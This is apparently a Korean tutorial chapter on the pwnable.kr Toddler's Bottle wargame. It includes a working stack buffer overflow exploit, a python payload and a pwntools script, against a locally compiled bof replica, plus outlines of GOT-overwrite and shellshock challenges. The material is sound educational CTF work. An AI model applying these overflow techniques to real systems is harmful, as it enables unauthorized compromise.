Step 209. pwnable.kr Toddler’s Bottle 완주 — 입문 워게임 졸업식
Level 3 — CTF 실전과 공격 스킬 심화 | 난이도 ★★★★☆ | 예상 소요 시간 10시간 (여러 날에 나눠 권장)
전제: Step 177(CTF 맛보기 2: Pwn — fd, collision), Step 203(쉘코드 작성). gdb 디스어셈블리를 읽을 수 있습니다.
⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다. pwnable.kr은 풀라고 만들어진 합법 학습 플랫폼입니다.
- 준비물: WSL 우분투(gcc, gdb), 파이썬 + pwntools. 실측 환경은 Ubuntu 24.04, gcc 13.3.0, gdb 15.1, glibc 2.39, pwntools 4.15.0입니다.
- 주의: 외부 플랫폼(pwnable.kr)에는 이 환경에서 접속하지 않습니다. 서버 접속 장면과 플래그는 "화면 예시"로 안내하고, 대표 문제
bof는 같은 논리의 재현 바이너리를 WSL에서 직접 컴파일해 공격까지 실측합니다.
Step 177에서 Toddler’s Bottle의 첫 두 문제(fd, collision)를 맛봤습니다. 오늘은 남은 전 구간을 달립니다. 이 코너의 문제들은 하나같이 "C 언어의 함정 하나"를 가르치는 명문입니다 — 버퍼 오버플로우, 패킹된 바이너리, 예측 가능한 난수, 연산자 우선순위, 오래된 Bash 취약점까지. 전부 풀었다면 여러분은 입문 워게임을 졸업한 것입니다.
1. 학습 목표
이 챕터를 끝내면 다음을 할 수 있습니다:
- Toddler’s Bottle 전체 문제 목록과 각 문제가 가르치는 함정을 정리한다
bof문제를 디스어셈블리에서 오프셋을 계산해 버퍼 오버플로우로 푼다- pwntools의
process/p32/sendline으로 풀이 스크립트를 작성한다 - 패킹된 바이너리(UPX), 예측 가능한 난수, 연산자 우선순위 함정의 출제 의도를 설명한다
- 문제마다 "출제자가 노린 허점 한 줄"을 정리하는 습관을 완성한다
2. 배경 지식 — 오늘의 도구와 개념
오늘의 도구 한눈에 보기
| 구분 | 내용 |
|---|---|
| 언어·환경 | C 읽기 + WSL 우분투 bash + 파이썬/pwntools (실측: Ubuntu 24.04, gdb 15.1, pwntools 4.15.0) |
| 오늘의 명령어 | file 바이너리, strings 바이너리, gdb -batch -ex "disassemble func", p32(0xcafebabe), p.sendline(payload) |
| 필요한 개념 | 스택 프레임과 오프셋 계산, gets의 위험성, 실행 파일 패킹(UPX), 의사난수 시드, C 연산자 우선순위 |
| 오늘의 산출물 | bof 로컬 풀이 스크립트 + Toddler’s Bottle 전 문제의 "함정 지도" 표 |
2-1. Toddler’s Bottle 지도 — 문제마다 함정 하나
Toddler’s Bottle(젖병 — "아기용"이라는 뜻)은 pwnable.kr의 입문 코너입니다. 전체 목록과 각 문제의 주제는 다음과 같습니다 (플랫폼 공개 목록 기준):
| 문제 | 가르치는 함정 |
|---|---|
| fd, collision | Step 177에서 완료 — 파일 디스크립터, 형 변환 |
| bof | 고전적 버퍼 오버플로우 — gets와 변수 덮어쓰기 |
| flag | UPX로 패킹된 바이너리 풀기 |
| passcode | scanf에 &가 빠진 버그 → GOT 덮어쓰기 (Step 210에서 해부) |
| random | 시드 없는 rand()는 매번 같은 수열 |
| mistake | 연산자 우선순위 — <가 =보다 먼저 계산된다 |
| shellshock | 2014년의 유명한 Bash 환경변수 취약점 |
| coin1, blackjack, lotto | 타이밍·확률·구현 버그 |
| cmd1, cmd2 | 명령 필터 우회 (경로·와일드카드) |
| input, leg, uaf, memcpy, asm, unlink 등 | argv/envp 다루기, ARM 어셈블리, UAF, 정수 오버플로, 쉘코드, 언링크 |
힌트는 전부 소스 코드에 있습니다. 서버에 접속하면 문제 바이너리와 소스가 함께 놓여 있고(화면 예시):
# 화면 예시 — 서버 접속 직후의 모습
$ ssh bof@pwnable.kr -p2222
bof@ubuntu:~$ ls
bof bof.c flag
소스가 곧 설계도입니다. 읽고, 출제 의도를 파악하고, 조건을 역산합니다 — Step 177의 루틴 그대로입니다.
2-2. gets — 역사상 가장 위험한 함수
gets(버퍼)는 개행까지 길이 검사 없이 읽습니다. 32바이트 버퍼에 100바이트를 넣어도 멈추지 않고, 넘친 68바이트는 스택의 이웃 변수와 저장된 리턴 주소를 덮습니다. 너무 위험해서 C11 표준에서 삭제됐고, 최신 컴파일러는 링크 때 "the `gets’ function is dangerous"라는 경고를 띄웁니다 (이 챕터에서 실측). 그런데도 워게임이 이 함수를 쓰는 이유 — 바로 그 위험을 가르치려는 것입니다.
2-3. 오프셋 — "몇 바이트째가 목표 변수인가"
버퍼 오버플로우 풀이의 전부는 숫자 하나, 오프셋(offset) 입니다. 버퍼 시작부터 목표 변수까지의 거리를 바이트로 재는 것입니다. 재는 법은 두 가지 — ① gdb 디스어셈블리에서 버퍼와 변수의 스택 위치(rbp 기준 상대값)를 읽어 뺄셈, ② 구별되는 패턴을 흘려 보내 어느 바이트가 덮이는지 관찰. 오늘은 ①을 실측합니다.
2-4. pwntools — Pwn의 표준 도구상자
Step 177에서는 struct.pack과 subprocess로 payload를 만들었습니다. 실전에서는 pwntools가 그 일을 대신합니다: process("./bof")로 실행, p32(0xcafebabe)로 리틀 엔디안 포장(= struct.pack("<I", ...)), sendline/recvall로 입출력. 오늘의 풀이 스크립트가 첫 pwntools 실전입니다.
3. 따라 하기
3-1. 대표 문제 재현 — bof.c
pwnable.kr의 bof는 소스가 공개된 고전입니다. 원본은 32비트 환경용이라, 이 환경(64비트)에서 같은 논리가 되도록 한 곳만 고쳐 재현합니다 — 매개변수 key를 지역변수 check에 복사하는 것입니다 (원본의 "버퍼보다 위에 있는 비교 변수" 구조를 보존하기 위해서입니다. 이유는 3-2에서 실측으로 보게 됩니다).
입력 (bof64.c)
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
int check = key; /* 64비트 재현: 매개변수를 지역변수로 복사 */
printf("overflow me : ");
gets(overflowme);
if(check == 0xcafebabe){
printf("FLAG{b0f_0ffs3t_m4st3r}\n");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
setvbuf(stdout, NULL, _IONBF, 0); /* 재현 편의: 출력 즉시 비우기 */
func(0xdeadbeef);
return 0;
}
컴파일과 첫 실행
mkdir -p ~/lab209_213 && cd ~/lab209_213
gcc -fno-stack-protector -no-pie -o bof64 bof64.c
echo hello | ./bof64
overflow me : Nah..
(2026-09-09 실측. 컴파일 때 warning: the 'gets' function is dangerous and should not be used 경고가 뜹니다 — 2-2에서 말한 그 경고입니다. -fno-stack-protector는 Step 62의 카나리를 끄는 옵션, -no-pie는 주소 고정 옵션입니다. 둘 다 "배우기 위해 방어막을 잠시 내리는" 실습용 스위치입니다.)
읽는 법: func(0xdeadbeef)로 들어간 key가 check에 복사되고, gets가 overflowme에 입력을 채웁니다. check == 0xcafebabe여야 플래그가 나오는데, 우리는 func의 인자를 못 바꿉니다. 남은 길은 하나 — gets의 넘침으로 check를 덮어쓰는 것.
예측:
overflowme와check는 같은 스택 프레임의 이웃입니다. 버퍼에서 몇 바이트를 쓰면check에 닿을까요? 다음 절의 디스어셈블리에서 직접 확인해 보세요.
3-2. 오프셋 계산 — 디스어셈블리 세 줄이면 충분하다
gdb -batch -ex "disassemble func" ./bof64 | grep -E "mov.*edi|lea.*rbp|cmpl"
0x0000000000401182 <+12>: mov %edi,-0x34(%rbp)
0x000000000040119f <+41>: lea -0x30(%rbp),%rax
0x00000000004011b0 <+58>: cmpl $0xcafebabe,-0x4(%rbp)
(2026-09-09 실측.)
출력 읽는 법: 세 줄이 전부입니다.
<+41>:gets에 넘길 버퍼 주소를 만드는 명령 — 버퍼는 rbp-0x30<+58>: 비교 명령 —check는 rbp-0x4, 목표 값은0xcafebabe- 오프셋 =
0x30 - 0x4 = 0x2c= 44바이트
즉 "A 44개 + 목표 값 4바이트"가 답입니다. 44바이트까지가 패딩, 그 다음 4바이트가 check 자리에 정확히 떨어집니다. 원본(32비트) 문제에서는 이 오프셋이 52바이트로 알려져 있는데, 스택 프레임 배치가 컴파일러와 비트 수에 따라 달라지기 때문입니다 — 그래서 오프셋은 외우는 것이 아니라 매번 재는 것입니다.
3-3. 공격 — 44바이트 패딩 + 0xcafebabe
먼저 쉘 파이프로 확인합니다:
python3 -c "
import sys, struct
sys.stdout.buffer.write(b'A'*44 + struct.pack('<I', 0xcafebabe))
" | ./bof64
overflow me : FLAG{b0f_0ffs3t_m4st3r}
(2026-09-09 실측.)
출력 읽는 법: Nah..가 아니라 플래그가 떴습니다. 우리가 넣은 44바이트의 A가 버퍼와 그 이웃을 채우고, 마지막 4바이트 be ba fe ca(리틀 엔디안)가 check를 정확히 0xcafebabe로 바꿨습니다. 메모리를 "터뜨린" 것이 아니라 정확한 거리를 재서 이웃 변수를 덮은 것입니다.
같은 공격을 pwntools 스크립트로 정리합니다 (solve_bof.py):
from pwn import *
p = process("./bof64")
payload = b"A" * 44 # 버퍼(rbp-0x30)부터 check(rbp-0x4)까지의 거리
payload += p32(0xcafebabe) # 리틀 엔디안으로 목표 값
p.sendline(payload)
print(p.recvall(timeout=3).decode(errors="replace"))
[x] Starting local process './bof64'
[+] Starting local process './bof64': pid 627
[+] Receiving all data: Done (38B)
[*] Process './bof64' stopped with exit code -11 (SIGSEGV) (pid 627)
overflow me : FLAG{b0f_0ffs3t_m4st3r}
(2026-09-09 실측, pwntools 4.15.0.)
새 도구 읽는 법: p32가 리틀 엔디안 포장, sendline이 payload + 개행 전송입니다. 마지막 줄의 SIGSEGV를 주목하세요 — 플래그가 뜬 뒤에 세그폴트가 났습니다. gets가 붙이는 NUL 문자를 포함해 패딩이 저장된 rbp까지 건드렸기에, func가 리턴하는 길에 충돌한 것입니다. 플래그 출력 먼저, 충돌은 나중 — 원본 bof 문제도 바로 이 모습입니다. "공격이 성공해도 프로그램은 죽을 수 있다"는 것이 버퍼 오버플로우의 일상입니다.
3-4. 나머지 대표 문제들의 사고법 — 화면 예시와 개념
서버 문제들은 접속 없이 출제 의도만 정리합니다 (실제 접속 장면은 화면 예시).
flag — 패킹된 바이너리. 이 문제는 소스 대신 실행 파일 하나만 줍니다. file로 확인하면:
# 화면 예시 — flag 문제의 분석 흐름
$ file flag
flag: ELF 32-bit LSB executable, ..., UPX compressed, ...
$ upx -d flag # 패킹 해제
$ strings flag | grep -i "upx\|flag"
UPX! ... The quick brown fox ...
UPX는 실행 파일을 압축해 두는 "짐싸기" 도구입니다. 패킹된 바이너리는 분석이 안 되니, upx -d로 풀고 strings로 문자열을 뒤지면 플래그가 보입니다 — "실행 파일도 열어 보기 전에는 모른다"를 가르치는 문제입니다. 이 환경에는 upx가 설치돼 있지 않아 재현은 생략합니다 (설치돼 있다면 아무 바이너리나 upx로 압축→해제해 볼 수 있습니다).
random — 시드 없는 난수. 소스에는 rand()의 반환값과 입력을 XOR해 검사합니다. 핵심 사실: srand()로 시드를 주지 않으면 rand()는 프로그램을 다시 시작해도 매번 같은 수열을 뱉습니다. 즉 "난수"가 아니라 상수입니다. 로컬에서 5초 만에 확인할 수 있습니다 — rand() 한 번 호출하는 프로그램을 두 번 실행해 보세요. 같은 수가 나옵니다. 답은 그 고정값과 목표를 XOR한 것입니다.
mistake — 연산자 우선순위. 소스에 if(fd=open(...)<0) 같은 줄이 있습니다. C에서 <가 =보다 먼저 계산되므로, fd에는 열린 파일 번호가 아니라 비교 결과(0 또는 1)가 들어갑니다. fd가 0이 되면 stdin에서 읽는다 — Step 177의 fd 문제와 같은 문으로, 전혀 다른 버그로 들어가는 문제입니다.
passcode — 오늘의 진짜 보스. scanf("%d", passcode1)처럼 &가 빠진 버그로 시작해, 결국 fflush의 GOT 항목을 system 호출 주소로 덮는 문제입니다. "임의의 주소에 임의의 값을 쓴다"는 개념이 처음 등장하는데, 이것은 Step 210의 주제 그 자체입니다. 오늘은 "이 문제가 왜 무서운가"만 짚고, 구조는 Step 210에서 직접 손으로 재현합니다.
shellshock — 역사적 취약점. 2014년 Bash의 환경변수 파싱 버그로, 환경변수 값에 함수 정의 뒤 명령을 붙이면 Bash가 그 명령까지 실행했습니다. 워게임 서버의 오래된 Bash가 그대로 남아 있는 것을 이용합니다 — "패치 안 한 소프트웨어는 영원한 공격 표면"이라는 교훈입니다.
3-5. 풀이 정리 루틴 — 노트가 실력이다
문제를 하나 풀 때마다 Step 177의 형식으로 정리하세요:
[bof] 입력: stdin(gets) → overflowme[32] → check 비교 (0xcafebabe)
역산: 디스어셈블리로 오프셋 44 계산 → A*44 + p32(0xcafebabe)
허점: 길이 검사 없는 gets가 이웃 지역변수까지 쓰게 둠
이 한 줄 요약이 쌓이면, 나중에 비슷한 코드를 볼 때 "어느 줄이 구멍인지"가 바로 보이기 시작합니다. 완주의 진짜 목표는 플래그 개수가 아니라 이 눈입니다.
4. 미션과 연습문제
미션 — 오프셋이 다른 두 번째 bof
- bof64.c에서
char overflowme[32];를char overflowme[24];로 바꾼 bof2.c를 만든다 - 같은 방법으로 디스어셈블리에서 새 오프셋을 계산한다
- 풀이 스크립트를 고쳐 플래그를 띄운다
- bof와 bof2의 오프셋이 다른 이유를 노트에 한 줄로 정리한다
연습문제
문제 1. bof 문제에서 payload를 "A 44개"가 아니라 "A 40개 + p32(0xcafebabe)"로 만들면 왜 실패하나요? 디스어셈블리의 어떤 숫자가 근거인가요?
문제 2. 3-3의 pwntools 실행 결과에서 플래그가 뜬 뒤 SIGSEGV가 난 이유를, gets가 붙이는 문자와 저장된 rbp의 관점에서 설명하세요.
문제 3. random 문제의 핵심 — "시드 없는 rand()는 왜 매번 같은 수를 주나요?" 그리고 이 사실이 실전 서비스(예: 세션 토큰 생성)에서 왜 치명적인가요?
문제 4. mistake 문제의 if(fd=open(...)<0)에서 fd에 실제로 들어가는 값은 무엇이며, 이것이 어떻게 "fd 문제와 같은 문"이 되나요?
5. 모범 답안과 완료 기준
미션 모범 답안
버퍼를 24로 줄이면 디스어셈블리에서 버퍼 위치가 rbp-0x28 근처로 바뀝니다 (정확한 값은 직접 grep한 출력으로 확인하세요 — 이것이 미션의 핵심 절차입니다). 새 오프셋은 "버퍼의 rbp 상대 위치 − check의 rbp 상대 위치"로 계산하고, 스크립트의 b"A" * 44만 새 숫자로 바꾸면 됩니다.
검증하는 법: ① disassemble func 출력에서 lea -0x??(%rbp)와 cmpl $0xcafebabe,-0x4(%rbp) 두 줄을 찾아 뺄셈을 적었는가, ② 바꾼 오프셋으로 플래그가 떴는가, ③ 노트에 "버퍼 크기가 줄면 rbp 기준 위치가 당겨져 오프셋이 변한다 — 오프셋은 바이너리마다 다시 잰다"고 적혀 있는가.
연습문제 해답
문제 1 해답. 오프셋이 4바이트 모자라 p32 값이 check 자리(rbp-0x4)가 아니라 그 아래 4바이트에 쓰이기 때문입니다. 근거는 디스어셈블리의 두 상대 위치 — 버퍼 rbp-0x30, check rbp-0x4의 차이 0x2c(44)입니다. 오프셋 공격은 1바이트라도 어긋나면 조건을 못 맞힙니다.
문제 2 해답. gets는 입력 끝에 NUL(\0)을 하나 더 씁니다. 44+4=48바이트 payload는 버퍼 기준 48바이트째, 즉 저장된 rbp의 첫 바이트까지 닿고, 거기에 NUL이 덮여 rbp가 오염됩니다. func는 조건 검사와 플래그 출력까지는 정상 수행하지만, 리턴할 때 leave가 오염된 rbp를 복원하며 스택이 엉켜 세그폴트가 납니다. 플래그 출력이 먼저, 충돌은 나중이라 공격은 성공으로 셉니다.
문제 3 해답. rand()는 의사난수 — 정해진 수식으로 다음 수를 계산하는 발전기이며, 시작점(시드)이 같으면 수열 전체가 같습니다. srand를 안 부르면 시드는 기본값 1로 고정이니 매 실행마다 같은 첫 수가 나옵니다. 세션 토큰·임시 비밀번호를 이렇게 만들면 공격자가 로컬에서 같은 수열을 재생해 토큰을 통째로 예측할 수 있습니다. 보안용 난수는 /dev/urandom이나 암호학적 난수 생성기를 써야 합니다.
문제 4 해답. <가 =보다 우선순위가 높아 fd = (open(...) < 0)으로 계산됩니다. 파일이 정상적으로 열리면 open은 3 이상을 반환하니 비교 결과는 0 — 즉 fd에는 0이 들어갑니다. fd 0은 stdin이므로, 프로그램이 파일에서 읽는다고 믿는 데이터를 공격자가 키보드(또는 파이프)로 직접 공급하게 됩니다. 버그의 원인은 다르지만 도착지는 fd 문제와 같습니다.
완료 기준 체크리스트
- [ ] Toddler’s Bottle 전체 문제 목록과 각 함정을 표로 정리했다
- [ ] bof 재현 바이너리를 컴파일하고 디스어셈블리에서 오프셋 44를 직접 계산했다
- [ ] A*44 + p32(0xcafebabe) payload로 플래그를 띄웠다
- [ ] pwntools의
process/p32/sendline/recvall의 역할을 설명할 수 있다 - [ ] flag(UPX), random(시드), mistake(우선순위), passcode(GOT), shellshock(미패치)의 출제 의도를 한 줄씩 말할 수 있다
- [ ] 플래그 성공 후 SIGSEGV가 나는 이유를 설명할 수 있다
- [ ] 미션: bof2를 만들어 새 오프셋으로 풀고 차이를 정리했다
6. 흔한 실수와 해결
벽 1. 오프셋 52를 넣었는데 안 된다
증상: 인터넷 풀이의 오프셋 52를 그대로 썼는데 Nah..만 뜹니다.
원인: 52는 원본 32비트 바이너리의 값입니다. 여러분이 컴파일한 64비트 재현에서는 44였습니다 (2026-09-09 실측). 스택 프레임 배치는 컴파일러·비트 수·옵션에 따라 달라집니다.
해결: 오프셋은 항상 지금 이 바이너리에서 disassemble func로 다시 재세요. 그것이 이 챕터의 핵심 기술입니다.
벽 2. payload를 보냈는데 아무 출력도 없이 죽는다
증상: 플래그도 Nah..도 없이 세그폴트만 납니다.
원인: 두 가지를 의심하세요 — ① 오프셋이 어긋나 리턴 주소를 먼저 망가뜨린 경우, ② stdout 버퍼링. 파이프로 연결된 stdout은 버퍼에 쌓이다가, 프로그램이 죽으면 내용이 날아갑니다.
해결: 재현 바이너리에는 setvbuf(stdout, NULL, _IONBF, 0)를 넣어 두세요 (오늘의 bof64.c가 그렇게 돼 있습니다). 오프셋은 다시 재고.
벽 3. gets 컴파일이 안 된다는 오류
증상: warning: implicit declaration of function 'gets' 경고가 뜹니다.
원인: 최신 glibc 헤더에서는 gets 선언이 빠졌습니다 (C11에서 삭제). 경고일 뿐 링크는 됩니다 — 라이브러리에는 아직 심볼이 남아 있기 때문입니다.
해결: 오늘 실습처럼 "위험을 배우는" 목적에서는 경고를 무시하고 진행해도 됩니다. 단, 여러분이 쓰는 코드에는 절대 gets를 쓰지 마세요 — fgets(버퍼, 크기, stdin)이 대안입니다.
벽 4. pwntools recvall이 끝나지 않는다
증상: p.recvall()에서 스크립트가 멈춥니다.
원인: recvall은 프로세스가 출력을 닫을 때까지 기다립니다. 대화형으로 뭔가 더 기다리는 프로그램이면 영원히 기다립니다.
해결: recvall(timeout=3)처럼 타임아웃을 주거나, 기대 문자열까지만 받는 recvuntil(b"FLAG")를 쓰세요. 오늘의 스크립트에도 timeout이 있는 이유입니다.
벽 5. "다 풀어야 완주인가요?"라는 압박
증상: coin1이나 blackjack 같은 잡급 문제에서 진이 빠집니다.
원인: 정상입니다. 이 코너는 20개가 넘고, 문제마다 성격이 다릅니다.
해결: 이 챕터의 완료 기준은 "전 문제 클리어 스크린샷"이 아니라 각 문제의 함정을 설명할 수 있는 지도입니다. bof, random, mistake, passcode의 뼈대 문제들을 깊게 이해하는 쪽이 마지막 하나를 억지로 푸는 것보다 낫습니다. 나머지는 여러분의 여유와 서버 접속 환경에 맡기세요.
7. 정리
오늘의 개념
| 개념 | 한 줄 설명 |
|---|---|
| 오프셋 | 버퍼 시작부터 목표 변수까지의 바이트 거리 — 매번 디스어셈블리로 다시 잰다 |
| gets | 길이 검사 없는 입력 함수 — C11에서 삭제된 전설적 위험 함수 |
| UPX 패킹 | 실행 파일 압축 — upx -d로 풀어야 분석이 된다 |
| 의사난수와 시드 | srand 없는 rand()는 매번 같은 수열 — 보안에 쓰면 예측당한다 |
| 연산자 우선순위 함정 | fd=open(...)<0은 fd=(open(...)<0) — 비교 결과가 들어간다 |
| GOT 덮어쓰기 | passcode의 핵심 — 함수 주소표를 덮어 호출을 가로챈다 (Step 210) |
오늘의 명령어
| 명령 | 하는 일 |
|---|---|
gcc -fno-stack-protector -no-pie -o bof64 bof64.c |
카나리·PIE를 끄고 실습용 컴파일 |
gdb -batch -ex "disassemble func" ./bof64 | grep -E "..." |
버퍼·변수의 rbp 상대 위치만 추려 오프셋 계산 |
p32(0xcafebabe) |
정수를 리틀 엔디안 4바이트로 포장 (pwntools) |
p = process("./bof64"); p.sendline(payload) |
로컬 바이너리 실행 후 payload 전송 |
p.recvall(timeout=3) |
남은 출력을 타임아웃 안에 전부 수신 |
file 바이너리, strings 바이너리 |
패킹 여부와 내장 문자열 확인 |
명령어보다 중요한 감각
Toddler’s Bottle의 진짜 교훈은 기법 목록이 아닙니다. 모든 힌트는 소스에 있고, 모든 공격은 조건의 역산이라는 태도입니다. 오프셋 44는 disassemble 세 줄에서 나왔고, random의 답은 "시드가 없다"는 사실 하나에서 나왔습니다. 화려한 도구보다 정확한 읽기가 먼저입니다.
그리고 bof에서 봤듯, 공격이 성공해도 프로그램은 죽을 수 있습니다 — 실전 익스플로잇이란 "조용히, 안정적으로" 목표만 달성하는 기술이고, 그 첫걸음이 방금 여러분이 죽여 본 그 프로세스입니다. passcode에서 얼굴을 내민 GOT 덮어쓰기(Step 210)도 결국 오늘의 감각 — "표는 데이터이고, 데이터는 덮인다" — 위에 서 있습니다.
전부 체크되면 Step 209 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.